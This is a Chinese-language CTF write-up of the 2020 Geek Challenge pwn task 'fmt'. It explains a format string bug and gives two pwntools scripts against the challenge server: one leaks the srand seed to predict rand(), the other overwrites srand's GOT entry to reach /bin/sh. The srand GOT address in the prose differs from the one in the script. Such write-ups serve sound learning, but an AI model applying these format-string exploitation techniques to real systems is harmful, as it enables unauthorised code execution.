[2020Geek Challenge]fmt

开始题目复现之旅了,搭建了个二进制复现平台,会在里面放逆向和pwn题,欢迎来一起复现题目(https://ctf.donstpast.cn)
首先就选择从极客大挑战的题开始了,这次选择的是其中的fmt,不是很难。

前置知识

格式化字符串漏洞及利用,详情请看(https://blog.donstpast.cn/index.php/archives/33/)

题目复现

1.png

拿到题目,老样子,先file和checksec一下
2.png
3.png
可以看到是64位程序,开了NX和Canary保护,之后用64位ida打开,F5反编译来查看一波伪代码。
4.png
有个很明显的格式化字符串漏洞,那么,接下来就是如何利用这个漏洞的问题。通过看代码结构,不难发现,它是生成一个随机的种子数,之后需要将你的输入和每次生成的种子数进行对比,需要连续相同16次,才能跳出循环获得“/bin/sh”的权利,那么思路就有了,我们可以通过格式化字符串漏洞任意地址内容的读取,来获得每次seed的值,之后比较16次即可。同样的,也有第二种思路,就是我们将srand的got地址覆盖掉,将system放于srand的got地址处,来进行got劫持,直接让它进行getshell。那么依据这两条思路,我们开始做题。

第一种思路

首先先获取格式化字符串的偏移,即"%N$x"中N的值
5.png
最终可以看到N=8
6.png
之后呢,我们就要进行各个数据地址的收集了,我们先采用泄露seed内容进行比较的方式。
那么我们需要的内容就是,seed的地址0x40409C
7.png
之后我们要做的是,先在格式化字符串printf的地方,泄露出第一次seed生成的随机数,由于srand采用的是一种伪随机数,所以,我们只要有它第一次生成的,我们就可以借助c语言中的rand函数自己生成后面的所有seed。
8.png
通过看汇编,我们不难发现,srand的位置,要在printf之后,因此,srand的偏移为9,所以,我们可以写出以下脚本:

from pwn import *
from ctypes import *
p=remote("101.132.117.190",10004)
context.log_level='debug'
seed_addr=0x40409C
p.recvuntil("\n")
p.sendline("%9$s"+"a"*4+p64(seed_addr))
seed=u64(p.recv(4).ljust(8,'\x00'))    #获取第一次seed的值
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")   #导入c语言函数库
libc.srand(seed)         #通过c函数库确定第一次seed的位置
for i in range(16):
        sleep(2)
        p.sendline(str(libc.rand()))      #根据第一次seed的值,确定生成规则
p.interactive()

第二种思路

第二种方法是我们进行got劫持,将srand的got地址更换为bin/sh的地址
先收集数据
/bin/sh的地址04012D4
9.png
srand的got地址0x404068
10.png
脚本如下:

from pwn import *
p=remote("101.132.117.190",10004)
srand_got_addr=0x404040
bin_sh_addr=0x4012D4
p.recvuntil("!")
p.sendline('%'+str(0x12d4)+'c%10$hn'+'aaaa'+p64(srand_got_addr))
p.interactive()
Tags:复现wpCTFPwn
上一篇
下一篇

添加新评论

召唤看板娘